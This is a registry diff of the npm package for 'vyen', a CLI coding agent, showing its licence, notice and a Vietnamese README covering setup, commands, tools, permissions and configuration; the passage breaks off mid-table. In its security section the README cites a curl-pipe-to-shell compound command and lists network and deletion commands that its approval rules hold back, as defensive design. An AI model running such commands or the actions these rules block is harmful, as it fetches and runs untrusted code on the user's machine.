@nguyenhuumanh/vyen 0.0.0-stage → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (103) hide show
  1. package/LICENSE +21 -0
  2. package/NOTICE.md +25 -0
  3. package/README.md +333 -3
  4. package/bin/vyen.mjs +13 -0
  5. package/dist/approval.d.ts +12 -0
  6. package/dist/approval.js +93 -0
  7. package/dist/approval.js.map +1 -0
  8. package/dist/cli.d.ts +25 -0
  9. package/dist/cli.js +2707 -0
  10. package/dist/cli.js.map +1 -0
  11. package/dist/config.d.ts +65 -0
  12. package/dist/config.js +169 -0
  13. package/dist/config.js.map +1 -0
  14. package/dist/context.d.ts +87 -0
  15. package/dist/context.js +669 -0
  16. package/dist/context.js.map +1 -0
  17. package/dist/errors.d.ts +1 -0
  18. package/dist/errors.js +7 -0
  19. package/dist/errors.js.map +1 -0
  20. package/dist/files.d.ts +94 -0
  21. package/dist/files.js +821 -0
  22. package/dist/files.js.map +1 -0
  23. package/dist/harness.d.ts +130 -0
  24. package/dist/harness.js +756 -0
  25. package/dist/harness.js.map +1 -0
  26. package/dist/help.d.ts +1 -0
  27. package/dist/help.js +49 -0
  28. package/dist/help.js.map +1 -0
  29. package/dist/index.d.ts +25 -0
  30. package/dist/index.js +15 -0
  31. package/dist/index.js.map +1 -0
  32. package/dist/mcp.d.ts +150 -0
  33. package/dist/mcp.js +1009 -0
  34. package/dist/mcp.js.map +1 -0
  35. package/dist/migrate.d.ts +24 -0
  36. package/dist/migrate.js +109 -0
  37. package/dist/migrate.js.map +1 -0
  38. package/dist/process.d.ts +13 -0
  39. package/dist/process.js +123 -0
  40. package/dist/process.js.map +1 -0
  41. package/dist/prompts.d.ts +23 -0
  42. package/dist/prompts.js +69 -0
  43. package/dist/prompts.js.map +1 -0
  44. package/dist/provider.d.ts +24 -0
  45. package/dist/provider.js +280 -0
  46. package/dist/provider.js.map +1 -0
  47. package/dist/reasoning.d.ts +31 -0
  48. package/dist/reasoning.js +130 -0
  49. package/dist/reasoning.js.map +1 -0
  50. package/dist/session.d.ts +209 -0
  51. package/dist/session.js +666 -0
  52. package/dist/session.js.map +1 -0
  53. package/dist/setup.d.ts +19 -0
  54. package/dist/setup.js +203 -0
  55. package/dist/setup.js.map +1 -0
  56. package/dist/subagents.d.ts +89 -0
  57. package/dist/subagents.js +725 -0
  58. package/dist/subagents.js.map +1 -0
  59. package/dist/tools.d.ts +104 -0
  60. package/dist/tools.js +687 -0
  61. package/dist/tools.js.map +1 -0
  62. package/dist/tui.d.ts +321 -0
  63. package/dist/tui.js +2793 -0
  64. package/dist/tui.js.map +1 -0
  65. package/dist/version.d.ts +1 -0
  66. package/dist/version.js +5 -0
  67. package/dist/version.js.map +1 -0
  68. package/docs/AUDIT.md +54 -0
  69. package/docs/MCP.md +86 -0
  70. package/docs/REFERENCE_REVIEW.md +134 -0
  71. package/docs/SPEC.md +94 -0
  72. package/docs/VALIDATION.md +167 -0
  73. package/docs/superpowers/plans/2026-10-21-vyen-brand-rename.md +876 -0
  74. package/docs/superpowers/plans/2026-10-21-vyen-critical-fixes.md +987 -0
  75. package/docs/superpowers/plans/2026-10-22-agent-work-agreements.md +124 -0
  76. package/docs/superpowers/plans/2026-10-22-upstream-merge.md +256 -0
  77. package/npm-shrinkwrap.json +1788 -0
  78. package/package.json +53 -6
  79. package/scripts/pack-release.mjs +44 -0
  80. package/scripts/publish-release.mjs +72 -0
  81. package/scripts/release-version.mjs +34 -0
  82. package/src/approval.ts +86 -0
  83. package/src/cli.ts +2536 -0
  84. package/src/config.ts +165 -0
  85. package/src/context.ts +735 -0
  86. package/src/errors.ts +5 -0
  87. package/src/files.ts +757 -0
  88. package/src/harness.ts +739 -0
  89. package/src/help.ts +49 -0
  90. package/src/index.ts +42 -0
  91. package/src/mcp.ts +1048 -0
  92. package/src/migrate.ts +116 -0
  93. package/src/process.ts +106 -0
  94. package/src/prompts.ts +74 -0
  95. package/src/provider.ts +300 -0
  96. package/src/reasoning.ts +106 -0
  97. package/src/session.ts +605 -0
  98. package/src/setup.ts +240 -0
  99. package/src/subagents.ts +856 -0
  100. package/src/tools.ts +686 -0
  101. package/src/tui.ts +2866 -0
  102. package/src/version.ts +5 -0
  103. package/tsconfig.json +9 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 vyen contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/NOTICE.md ADDED
@@ -0,0 +1,25 @@
1
+ # Project identity and references
2
+
3
+ Vyen CLI is an independent implementation. It is not an official Z.ai,
4
+ DeepSeek, Anthropic or OpenAI product. No ZCode or DeepSeek Harness runtime
5
+ source is copied into this distribution or used as a dependency.
6
+
7
+ Design references inspected for version 0.1.0:
8
+
9
+ - [ZCode](https://github.com/zai-org/ZCode), commit
10
+ `aac4755666d09fdcd70272fcf063c077a639015f` (Apache-2.0): separation of
11
+ model/provider, runtime, permission, tool and persistence boundaries;
12
+ explicit ownership of session history and configuration.
13
+ - [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), commit
14
+ `86a402200d95fecef4529d969836f1fe13c6cb0d` (MIT): replaceable capability
15
+ interfaces, bounded parallel-safe tool scheduling, exclusive mutation
16
+ barriers, ordered results and conservative recovery after interruption.
17
+
18
+ Vyen uses the Vercel AI SDK and its provider adapters for protocol handling.
19
+ Dependencies retain their own licenses in their installed package directories.
20
+ The implementation and build process use no official Claude Code binary.
21
+
22
+ A deeper stream/subagent review for 0.2.1 rechecked ZCode at the same commit
23
+ and DeepSeek Harness at `1517a4dbca0a2789ff1d41ba439600f8547d23fa`.
24
+ See [docs/REFERENCE_REVIEW.md](docs/REFERENCE_REVIEW.md) for exact source links,
25
+ contracts adopted, independent compatibility choices and remaining scope.
package/README.md CHANGED
@@ -1,3 +1,333 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
1
+ # vyen cli
2
+
3
+ CLI coding agent độc lập, ưu tiên Termux và Windows/Linux/macOS, dùng API của bạn.
4
+ Tham khảo kiến trúc OpenAI Codex, ZCode và DeepSeek Harness; **không fork base và không dùng runtime của các dự án đó**.
5
+
6
+ ## Cài đặt (Termux / Linux / macOS / Windows)
7
+
8
+ Cài bản GitHub Release mới nhất:
9
+
10
+ ```bash
11
+ # Trên Termux (cài thêm công cụ hệ thống nếu chưa có):
12
+ pkg install nodejs-lts git bash ripgrep
13
+
14
+ node --version
15
+ npm install -g @nguyenhuumanh/vyen
16
+ vyen --version
17
+ ```
18
+
19
+ Cần Node **22.16 trở lên**; Node 24 cũng được. Bản npm đã chứa JS biên dịch sẵn;
20
+ không cần compiler, pnpm, proot, glibc hay addon native. Thiếu `ripgrep` vẫn có
21
+ search JavaScript dự phòng giới hạn kích thước.
22
+
23
+ Runtime dependencies được tải từ npm khi cài; gói này không kèm `node_modules`.
24
+ Trên Termux, hãy làm việc trong `$HOME` để có đầy đủ quyền file và executable bit.
25
+
26
+ ## Thiết lập nhanh (`vyen setup` hoặc `vyen init`)
27
+
28
+ Chạy wizard tương tác để chọn provider, nhập Base URL, lưu API key an toàn
29
+ (`credentials.json` quyền `0600`), tự động quét danh sách model từ `/models` của endpoint
30
+ (không hardcode model) và chọn mức `effort` (nhấn `Esc` bất kỳ lúc nào để huỷ không lưu dở):
31
+
32
+ ```bash
33
+ vyen setup
34
+ # hoặc trong TUI gõ:
35
+ /setup
36
+ ```
37
+
38
+ Hoặc cấu hình bằng lệnh `vyen init` truyền thống:
39
+
40
+ ```bash
41
+ vyen init \
42
+ --provider openai-compatible \
43
+ --base-url 'https://YOUR_PROVIDER/v1' \
44
+ --model 'YOUR_MODEL_ID' \
45
+ --effort xhigh
46
+
47
+ # Nhập key ẩn qua biến môi trường (hoặc lưu qua vyen setup / /key):
48
+ read -rsp 'API key: ' VYEN_API_KEY; echo
49
+ export VYEN_API_KEY
50
+
51
+ cd "$HOME/your-project"
52
+ vyen doctor
53
+ vyen
54
+ ```
55
+
56
+ | Provider | `--provider` | Base URL |
57
+ |---|---|---|
58
+ | Dịch vụ OpenAI-compatible | `openai-compatible` | API root trước `/chat/completions`, thường kết thúc `/v1` |
59
+ | OpenAI Responses-compatible | `openai-responses` | API root trước `/responses` |
60
+ | Anthropic Messages-compatible | `anthropic` | API root trước `/messages`, thường kết thúc `/v1` |
61
+
62
+ Vyen giữ nguyên đường dẫn Base URL bạn cấu hình (chỉ tự động chuẩn hoá thêm `/v1` cho một số gateway quen thuộc như `api.yuristore.xyz` hoặc `localhost:8000` khi bỏ trống path). Nếu không đặt `baseUrl`, mặc định sẽ dùng `DEFAULT_GATEWAY_URL` (`https://api.yuristore.xyz/v1`). Endpoint phải hỗ trợ tool calling.
63
+
64
+ ## Cách dùng CLI
65
+
66
+ ```bash
67
+ vyen # Mở giao diện TUI toàn màn hình
68
+ vyen resume # Chọn phiên để tiếp tục (thư mục này / mọi dự án), chạy từ bất kỳ đâu
69
+ vyen --resume latest # Tương đương vyen resume
70
+ vyen --resume SESSION_UUID -p 'Tiếp tục phần đang làm'
71
+ vyen -p 'Đọc repo, tìm nguyên nhân lỗi và sửa; chạy kiểm tra phù hợp'
72
+ vyen --effort max -p 'Phân tích sâu và tối ưu hiệu năng'
73
+ vyen --read-only -p 'Đọc và giải thích kiến trúc repo'
74
+ vyen --yes -p 'Tự động duyệt mọi thao tác ghi file và bash'
75
+ vyen --json -p 'Kiểm tra dự án'
76
+ printf '%s' 'Giải thích các file chính' | vyen --read-only
77
+ git diff | vyen -p 'Review diff này' # dữ liệu pipe vào stdin được đính kèm làm ngữ cảnh
78
+ vyen -p 'Giải thích lỗi' < build.log # tương tự với file chuyển hướng
79
+ vyen -p 'Viết changelog' -o CHANGELOG.draft.md # ghi câu trả lời cuối ra file (scripting/CI)
80
+ vyen sessions
81
+ ```
82
+
83
+ Mặc định ở chế độ `ask` (yêu cầu chấp thuận khi sửa/ghi file hoặc chạy shell).
84
+ Không có TTY thì những yêu cầu này bị từ chối trừ khi truyền `--yes` (tương đương
85
+ chế độ `auto`). `--read-only` loại bỏ các công cụ ghi/sửa/bash khỏi bộ tool.
86
+ Mã thoát: `0` thành công, `1` lỗi, `2` từ chối quyền, `130` Ctrl+C, `143` SIGTERM.
87
+
88
+ ## Giao diện TUI, Phím tắt & Slash Commands
89
+
90
+ Khi chạy `vyen` trong terminal, giao diện TUI toàn màn hình tối giản: không khung viền, không
91
+ nền tô màu, dùng màu mặc định của terminal (đẹp trên cả theme sáng lẫn tối).
92
+
93
+ ```
94
+ › Sửa test checkout đang fail
95
+
96
+ ○ Explored
97
+ └ Read src/cart.ts
98
+ ● Ran npm test -- cart (2s)
99
+ ± Edited src/cart.ts (+1 -1)
100
+ ◆ Tổng tiền tính bằng số thực mà không làm tròn…
101
+
102
+ ⠋ Working 4s esc to interrupt
103
+ ──────────────────────────────────────────────────────────────
104
+ › Ask anything / commands @ files $ skills ! shell
105
+ ask glm-5.3-flash effort max shop-api (main) ctx 34% 69k tokens
106
+ ```
107
+
108
+ - **Hội thoại**: Markdown, bảng căn cột, diff màu (`+` xanh, `-` đỏ), khối code có lề mờ, trạng thái tool/subagent theo thời gian thực.
109
+ - **Dòng nhập**: một đường kẻ (chuyển màu hổ phách khi vyen đang chờ bạn trả lời/duyệt quyền), dòng nhập `›` và popup gợi ý `/slash` kèm mô tả.
110
+ - **Dòng trạng thái**: chế độ (`auto-approve` hiện màu hổ phách vì là chế độ rủi ro), model, effort, workspace (nhánh git), todo, % ngữ cảnh do provider báo và tổng token.
111
+
112
+ ### Phím tắt chính
113
+
114
+ | Phím tắt | Chức năng |
115
+ |---|---|
116
+ | `Ctrl+T` | Bật/tắt **Transcript Mode** toàn màn hình — hiển thị đầy đủ cả khối suy luận (`Thinking`), cuộn xem toàn bộ lịch sử; nhấn `Ctrl+T`, `Esc` hoặc `q` để quay lại ngay |
117
+ | `Shift+Tab` | Chuyển nhanh chế độ quyền: `ask` → `auto` (auto-approve) → `plan` → `readonly` |
118
+ | `Alt+.` / `Alt+,` | Tăng / giảm mức suy luận (`effort`: `low` ↔ `medium` ↔ `high` ↔ `xhigh` ↔ `max`) |
119
+ | `Esc Esc` (nhấn đúp) | Mở bảng **Rewind / Revert** về checkpoint của các lượt trước và khôi phục file |
120
+ | `Up` / `Down` / `Tab` | Di chuyển chọn lệnh trong popup `/slash` (hoặc gọi lại lịch sử lệnh khi không mở popup) |
121
+ | `PgUp` / `PgDn` / Lăn chuột | Cuộn khung hội thoại hoặc khung Transcript |
122
+ | `Ctrl+C` | Huỷ lượt model/tool đang chạy |
123
+ | `Ctrl+D` | Thoát khi ô nhập trống |
124
+
125
+ ### Thực thi lệnh ngay khi Agent đang chạy (`Running`)
126
+
127
+ Khi model đang suy nghĩ hoặc chạy tool:
128
+ - Gõ các lệnh điều khiển như `/auto`, `/yolo`, `/view`, `/mode`, `/effort`, `/model`,
129
+ `/status`, `/help`, `/tools`, `/diff`, `/git`, `/todo`, `/plan`, `/copy`, `!<lệnh shell>`
130
+ sẽ **chạy và áp dụng ngay lập tức** mà không cần chờ xong lượt.
131
+ - Gõ tin nhắn prompt bình thường khi máy đang bận sẽ được đưa vào hàng đợi (`queuedPrompts`)
132
+ để tự động chạy ngay khi lượt hiện tại kết thúc.
133
+
134
+ ### Danh sách Slash Commands tiêu biểu
135
+
136
+ - `/auto` (hoặc `/yolo [on|off]`): Bật/tắt chế độ **Auto-Approve** (tự động chấp thuận mọi thao tác sửa file, bash và subagent).
137
+ - `/mode [ask|auto|plan|readonly]`: Xem hoặc đổi chế độ quyền thực thi.
138
+ - `/view [normal|verbose]`: Đổi chế độ hiển thị suy nghĩ (`normal` ẩn khối `Thinking` cho gọn; `verbose` hiện đầy đủ toàn bộ quá trình suy luận).
139
+ - `/transcript`: Bật/tắt chế độ xem Transcript toàn màn hình (giống `Ctrl+T`).
140
+ - `/model [tên_model]` & `/models`: Đổi model hoặc quét trực tiếp danh sách model từ API.
141
+ - `/effort [low|medium|high|xhigh|max|clear]`: Chỉnh mức độ suy luận (`reasoning_effort` / thinking budget).
142
+ - `/resume [latest|số_thứ_tự|id_prefix]`: Mở bảng chọn phiên với 2 tab **This folder** / **All projects** (`←`/`→` hoặc `Tab` để đổi tab, `↑`/`↓` chọn, gõ để lọc theo nội dung, tên thư mục hoặc model, `Enter` để resume). Chọn phiên của dự án khác sẽ tự chuyển workspace sang thư mục đó, nên không cần nhớ phiên nằm ở thư mục nào. `vyen resume` (hoặc `vyen --resume ID`) cũng chạy được từ bất kỳ thư mục nào.
143
+ - `/new`, `/clear`, `/fork [tên]`, `/rename <tiêu_đề>`: Tạo phiên mới, xoá màn hình, nhân bản nhánh hội thoại hoặc đặt tên phiên.
144
+ - `/rewind [N]` & `/revert [N] [both|code|messages]`: Quay lui hội thoại và/hoặc khôi phục trạng thái file về trước lượt thứ `N`.
145
+ - `/undo`: Hoàn tác các thay đổi file của lượt vừa chạy.
146
+ - `/btw <câu_hỏi>`: Hỏi nhanh câu hỏi phụ (ephemeral side question) dựa trên ngữ cảnh hiện tại mà không làm bẩn lịch sử phiên.
147
+ - `/goal [set|done|clear]`, `/memory [list|add|remove|clear]`, `/recap`: Đặt mục tiêu phiên, lưu ghi nhớ dài hạn (`memories.json`) hoặc tóm tắt tiến độ.
148
+ - `/init`, `/skills`, `/mention <path>`: Khởi tạo `AGENTS.md`, liệt kê `SKILL.md` (gọi qua `$skill-name`) hoặc đính kèm `@file`/ảnh.
149
+ - `/diff`, `/git`, `/review`: Xem `git status` + `git diff`, hoặc yêu cầu model review toàn bộ thay đổi hiện tại.
150
+ - `/compact [trọng_tâm]`: Chủ động nén ngữ cảnh hội thoại (có lưu archive đầy đủ trước khi nén).
151
+ - `/setup` (hoặc `/provider`), `/key`, `/doctor`: Cấu hình lại provider (nhấn `Esc` để huỷ), đổi API key (nhập ẩn) hoặc kiểm tra kết nối/môi trường.
152
+ - `/prompts`, `/prompts:<tên> [tham số]`: Liệt kê và chạy prompt tuỳ biến từ file Markdown (xem mục *Prompt tuỳ biến*).
153
+ - `!<lệnh>`: Chạy nhanh lệnh shell trực tiếp ngay trong TUI (ví dụ `!git status`).
154
+
155
+ ### Duyệt quyền nhanh cho lệnh shell
156
+
157
+ Khi được hỏi `Allow bash?`, ngoài `y` (một lần) và `a` (mọi lệnh bash trong phiên), có thể chọn
158
+ `p` để **chỉ cho phép tiền tố lệnh đó** trong phiên, ví dụ `npm test`, `npm run lint`,
159
+ `python -m pytest`, `git status`. Lệnh ghép hoặc lệnh bọc (`;`, `&&`, `|`, `` ` ``, `$()`, `>`, `env`,
160
+ `sudo`, `bash -c`, gán biến `FOO=1 ...`) không bao giờ được duyệt theo tiền tố, nên
161
+ `npm test; curl ... | sh` vẫn phải hỏi lại. Lệnh cài gói (`npm install x`, `pip install x`…),
162
+ lệnh sửa/xoá file (`rm`, `mv`, `cp`, `chmod`…) và lệnh mạng (`curl`, `wget`…) chỉ được nhớ đúng
163
+ nguyên câu lệnh. Tham số thêm vào sau tiền tố đã duyệt mà trỏ ra ngoài workspace (`/…`, `~`, `..`)
164
+ hoặc bật chế độ ghi/chạy chương trình (`--output`, `--ext-diff`, `-c`, `--exec`…) vẫn phải hỏi lại.
165
+
166
+ Khi cần chú ý (prompt duyệt quyền, lượt chạy dài ≥ 15 giây vừa xong), vyen phát tiếng chuông
167
+ terminal (`BEL`). Tắt bằng `VYEN_NOTIFY=0`.
168
+
169
+ ### Prompt tuỳ biến (custom slash commands)
170
+
171
+ Tạo file Markdown trong `.vyen/prompts/` hoặc `.agents/prompts/` (theo dự án),
172
+ `~/.config/vyen/prompts/` hoặc `~/.codex/prompts/` (theo người dùng):
173
+
174
+ ```markdown
175
+ ---
176
+ description: Review một file theo checklist của team
177
+ ---
178
+ Review $1 theo checklist bảo mật và hiệu năng. Ghi chú thêm: $ARGUMENTS
179
+ ```
180
+
181
+ Chạy bằng `/prompts:review src/app.ts kiểm tra SQL injection`. `$ARGUMENTS` là toàn bộ phần sau
182
+ tên lệnh, `$1`…`$9` là từng từ, `$$` là ký tự `$`.
183
+
184
+ ## Harness, Công cụ & Hoàn tác (Checkpoint / Rewind)
185
+
186
+ - **Bộ công cụ tích hợp đầy đủ**:
187
+ - **File & Shell**: `read_file`, `list_files`, `search`, `write_file`, `edit_file`, `apply_patch`, `bash`, `view_image`.
188
+ - **Kế hoạch & Tương tác**: `todo_read`, `todo_write`, `update_plan`, `request_user_input`, `exit_plan_mode`.
189
+ - **Subagents (7 công cụ)**: Vòng đời tương tác (`spawn_agent`, `wait_agent`, `send_input`, `close_agent`, `list_agents`) và uỷ thác theo lô (`delegate_task`, `delegate_edit`).
190
+ - **MCP Resources & Tools**: `list_mcp_resources`, `list_mcp_resource_templates`, `read_mcp_resource` cùng các tool động từ MCP server (`mcp__<server>__<tool>`).
191
+ - **Cơ chế Checkpoint & Rollback nhẹ, chính xác (`/rewind`, `/revert`, `/undo`)**:
192
+ - Chỉ các file được sửa trực tiếp qua bộ công cụ chỉnh sửa (`write_file`, `edit_file`, `apply_patch` — bao gồm cả subagent worker được uỷ quyền sửa file) mới được ghi nhận bản sao lưu trước lượt chạy (trạng thái tồn tại, nội dung gốc và file mode) để rollback tức thì 100% và không tốn I/O quét toàn bộ workspace khi chạy lệnh shell (`bash`).
193
+ - File bạn đã sửa tay **sau** lượt của agent sẽ không bị ghi đè khi revert: vyen giữ nguyên và báo xung đột; dùng `/revert N --force` nếu thật sự muốn ghi đè.
194
+ - Tổng dung lượng bản sao lưu mỗi phiên giới hạn 32 MiB (các lượt cũ nhất bị lược nội dung trước và được báo rõ khi revert), để file phiên không phình to vô hạn.
195
+ - **`apply_patch` đầy đủ định dạng Codex**: hỗ trợ `*** Move to:` (đổi tên/di chuyển), nhiều khối `Update File` cho cùng một file, file thêm mới luôn kết thúc bằng newline; patch chỉ được ghi khi **mọi** hunk đều khớp.
196
+ - **Tự động Retry API**: Khi gặp lỗi mạng hoặc lỗi upstream tạm thời (HTTP `5xx`, `429`, `408`, lỗi đóng stream/socket bất ngờ), Harness tự động thử lại tối đa **3 lần** với exponential backoff + jitter, tôn trọng header `Retry-After` (tối đa 20 giây) trước khi dừng.
197
+ - **Đọc song song**: tối đa 6 lời gọi tool chỉ-đọc liên tiếp (`read_file`, `search`, `list_files`, MCP read-only…) chạy đồng thời; thao tác ghi và shell vẫn tuần tự theo đúng thứ tự model yêu cầu.
198
+ - **Hiển thị đầy đủ Unified Diff**: `computeUnifiedDiff` hiển thị trọn vẹn số dòng thêm/xoá thực tế (`+N -M`, hỗ trợ tới 5.000 dòng mỗi hunk).
199
+ - **Bảo vệ chống lỗi file `nul` trên Windows**:
200
+ - Tự động chuyển hướng `>nul`, `2>nul`, `>>NUL`, `>/dev/nul` trong lệnh `bash` trên Windows về `/dev/null` an toàn (`sanitizeBashCommand`).
201
+ - `WorkspaceFiles` từ chối tạo các tên thiết bị dành riêng của Windows (`nul`, `con`, `prn`, `aux`, `com1-9`, `lpt1-9`) trên mọi nền tảng để giữ an toàn cho Git repo đa nền tảng.
202
+ - `unlinkSafe` hỗ trợ xoá cả các file tên thiết bị bị tạo nhầm trước đó thông qua đường dẫn mở rộng `\\?\`.
203
+ - **An toàn phiên & file**:
204
+ - Lưu phiên atomic, lock tiến trình, tự động dọn phiên rỗng (`0 messages`) khi thoát hoặc đổi phiên.
205
+ - Ghi file theo temporary file + `chmod` + `rename`, bảo toàn nguyên vẹn quyền file (`0755`, umask `027`/`007`).
206
+
207
+ ## Bảo mật
208
+
209
+ - Approval chỉ dựa trên chế độ **hiện tại**: chuyển từ `auto`/`--yes` về `ask`/`plan` có hiệu lực ngay cho lời gọi tool kế tiếp.
210
+ - API key của vyen (`VYEN_API_KEY` và biến trong `keyEnv`) bị loại khỏi môi trường của mọi tiến trình con (`bash`, `!cmd`, `rg`, `git`), nên model hoặc prompt-injection không thể `env`/`curl` để lấy key. Nếu dự án của bạn cần chính biến đó khi chạy test, hãy dùng một biến khác cho vyen (`--key-env`).
211
+ - Tool đọc ảnh do model gọi (`view_image`, `@ảnh` trong prompt của subagent) chỉ đọc trong workspace; ảnh ngoài workspace cần bạn duyệt. Ảnh bạn tự kéo/thả hoặc dán vẫn đọc được ở bất kỳ đâu.
212
+ - Tool bị ẩn ở chế độ hiện tại (ví dụ `view_image`, subagent trong `--read-only`) không thể bị gọi "chui" bằng tên.
213
+ - API key luôn nhập ẩn (`vyen setup`, `/setup`, `/key`); `vyen doctor` cảnh báo `credentials.json` có quyền quá rộng và base URL `http://` không phải loopback (key bị gửi dạng rõ).
214
+ - Lưu ý: approval **không phải sandbox của hệ điều hành**; lệnh shell đã duyệt chạy với quyền của user hiện tại.
215
+
216
+ ## Reasoning, Thinking Replay & Gateway Inline Think
217
+
218
+ - **Bảo toàn `reasoning_content` qua nhiều bước tool (`withReasoningReplay`)**:
219
+ - Với các endpoint `openai-compatible` ở chế độ thinking (DeepSeek, GLM, Kimi, v.v.), `vyen-cli` giữ nguyên 100% `reasoning_content` thật của model qua các bước gọi tool và resume.
220
+ - Khi chế độ thinking đang bật (qua `--effort` hoặc lịch sử có khối reasoning) mà có bước `assistant` gọi tool nhanh không sinh thinking, `withReasoningReplay` tự động đính kèm `reasoning_content: ""` trên bản chiếu request để tránh lỗi HTTP 400 (`reasoning_content ... must be passed back`) mà không bao giờ chèn chuỗi giả vào lịch sử lưu trên đĩa.
221
+ - **Tách `<think>...</think>` inline khi stream (`AnswerProjection`)**:
222
+ - Gateway trả `<think>...</think>` ở đầu `content` được tách ngay khi stream, kể cả khi thẻ bị cắt giữa nhiều chunk. Chỉ phần answer đi vào kết quả cuối và report của agent con.
223
+ - Native reasoning, chữ ký (`signature`) của Anthropic và provider metadata trong transcript gốc vẫn được giữ nguyên.
224
+
225
+ ```bash
226
+ vyen --show-reasoning --json -p 'Kiểm tra dự án' # xuất event reasoning riêng
227
+ vyen --show-reasoning -p 'Kiểm tra dự án' # hiển thị reasoning trên stderr/TUI
228
+ vyen --inline-reasoning off -p 'Trả tài liệu XML bắt đầu bằng <think>'
229
+ ```
230
+
231
+ ## MCP (Model Context Protocol)
232
+
233
+ Vyen dùng MCP SDK chính thức, hỗ trợ **tools và resources qua stdio và Streamable HTTP**.
234
+ Tạo `~/.config/vyen/mcp.json` (hoặc `$XDG_CONFIG_HOME/vyen/mcp.json`):
235
+
236
+ ```json
237
+ {
238
+ "servers": {
239
+ "remote": {
240
+ "transport": "http",
241
+ "url": "https://YOUR_MCP_HOST/mcp",
242
+ "bearerEnv": "MY_MCP_TOKEN",
243
+ "readOnlyTools": []
244
+ }
245
+ }
246
+ }
247
+ ```
248
+
249
+ ```bash
250
+ vyen mcp list # xem cấu hình, không kết nối
251
+ vyen mcp check # kết nối và in tên tool gốc/tên namespaced
252
+ vyen mcp import-codex # nhập nhanh các MCP server từ ~/.codex/config.toml
253
+ vyen # tự nạp các server đã bật
254
+ vyen --no-mcp # bỏ qua MCP trong lượt này
255
+ ```
256
+
257
+ Xem [docs/MCP.md](docs/MCP.md) để biết chi tiết cấu hình stdio, biến môi trường và giới hạn.
258
+
259
+ ## Subagents (Tương tác nền & Uỷ thác theo lô)
260
+
261
+ - **Vòng đời tương tác kiểu Codex (`spawn_agent`, `wait_agent`, `send_input`, `close_agent`, `list_agents`)**:
262
+ - Khởi chạy agent con (`explorer` chỉ đọc hoặc `worker` có quyền sửa file) chạy nền song song, gửi thêm chỉ dẫn bằng `send_input` và thu hoạch kết quả qua `wait_agent`.
263
+ - **Uỷ thác theo lô (`delegate_task` & `delegate_edit`)**:
264
+ - `delegate_task`: chia tối đa 4 việc đọc/review độc lập, tối đa 2 agent chạy đồng thời.
265
+ - `delegate_edit`: chia tối đa 4 việc sửa file, chạy tuần tự; tôn trọng chế độ duyệt quyền (`ask` hoặc `auto`/`--yes`) của phiên cha.
266
+
267
+ ```bash
268
+ vyen --read-only -p 'Dùng spawn_agent hoặc delegate_task để khảo sát cấu trúc repo và tìm rủi ro trong test'
269
+ vyen -p 'Dùng delegate_edit để sửa lỗi trong src/files.ts và bổ sung regression test'
270
+ vyen --no-subagents -p 'Đọc repo và làm trực tiếp'
271
+ ```
272
+
273
+ ## Cấu hình và Dữ liệu
274
+
275
+ - Config: `$XDG_CONFIG_HOME/vyen/config.json` (mặc định `~/.config/vyen/config.json`).
276
+ - Credentials (API Keys): `$XDG_CONFIG_HOME/vyen/credentials.json` (quyền `0600`).
277
+ - Memories & Presets: `$XDG_CONFIG_HOME/vyen/memories.json`, `$XDG_CONFIG_HOME/vyen/presets.json`.
278
+ - Sessions: `$XDG_DATA_HOME/vyen/sessions/` (mặc định `~/.local/share/vyen/sessions/`).
279
+ - Archives: `SESSION_UUID.compact-N.json` trong cùng thư mục session.
280
+ - Ưu tiên: cờ CLI > biến `VYEN_*` > config người dùng > mặc định.
281
+
282
+ Các biến môi trường hỗ trợ: `VYEN_PROVIDER`, `VYEN_BASE_URL`, `VYEN_MODEL`, `VYEN_EFFORT`,
283
+ `VYEN_KEY_ENV`, `VYEN_API_KEY`, `VYEN_CONTEXT_WINDOW`, `VYEN_MAX_OUTPUT_TOKENS`,
284
+ `VYEN_TIMEOUT_MS`, `VYEN_RUN_TOKEN_BUDGET`, `VYEN_INLINE_REASONING`, `VYEN_NOTIFY` (`0` để tắt chuông).
285
+
286
+ - Prompt tuỳ biến: `.vyen/prompts/*.md`, `.agents/prompts/*.md`, `$XDG_CONFIG_HOME/vyen/prompts/*.md`, `~/.codex/prompts/*.md`.
287
+ - Chỉ mục phiên: `sessions/.index.json` (cache tóm tắt theo kích thước + mtime, tự dựng lại khi hỏng hoặc bị xoá).
288
+
289
+ Context mặc định `128.000` token, output `16.384` token, timeout mỗi request `300.000` ms,
290
+ và **không giới hạn token mỗi lượt chạy theo mặc định** (`runTokenBudget = 0`) để
291
+ tránh ngắt giữa chừng các tác vụ dài. Nếu muốn đặt trần token cho một lượt chạy:
292
+
293
+ ```bash
294
+ vyen --run-token-budget 200000 -p 'Tác vụ có giới hạn ngân sách token'
295
+ ```
296
+
297
+ ## Phát triển & Kiểm thử
298
+
299
+ ```bash
300
+ npm ci
301
+ npm run typecheck
302
+ npm run lint
303
+ npm test
304
+ (umask 027; node --test tests/*.test.mjs)
305
+ (umask 007; node --test tests/*.test.mjs)
306
+ npm run build
307
+ npm install -g . --omit=dev
308
+ ```
309
+
310
+ | File | Trách nhiệm |
311
+ |---|---|
312
